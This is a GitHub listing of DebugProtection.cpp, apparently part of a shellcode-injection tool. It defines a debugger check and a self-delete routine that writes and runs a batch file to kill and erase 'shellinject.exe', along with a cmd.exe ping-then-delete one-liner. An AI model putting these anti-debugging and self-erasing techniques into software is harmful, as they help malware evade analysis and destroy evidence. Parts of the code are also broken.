-
Notifications
You must be signed in to change notification settings - Fork 0
/
DebugProtection.cpp
56 lines (43 loc) · 1.12 KB
/
DebugProtection.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include "DebugProtection.h"
//just for tests
#define SELF_REMOVE_STRING TEXT("cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"%s\"")
bool IsDebuggged() {
if (IsDebuggerPresent()) {
return true;
}
else {
return false;
}
}
// litel problem
void SelfDelete() {
// Get the executable file path
//wchar_t path[260];
//GetModuleFileName(NULL, path, 260);
int PID = get_pid(L"shellinject.exe");
FILE* batchFile = fopen("delete.bat", "w");
if (batchFile == NULL) {
printf("Failed to create batch file.\n");
return ;
}
/*
fprintf(batchFile,
":Repeat\n"
"del \"%s\"\n"
"kill %d \n"
"if exist \"%s\" goto Repeat\n"
"del delete.bat\n",
PID,path, path);
*/
fprintf(batchFile,
":Repeat\n"
"del \"shellinject.exe\"\n"
"kill %d \n"
"if exist \"shellinject.exe\" goto Repeat\n"
"del delete.bat\n",
PID);
fclose(batchFile);
// Execute the batch file after the program finishes
system("./delete.bat");
printf("This program will delete itself.\n");
}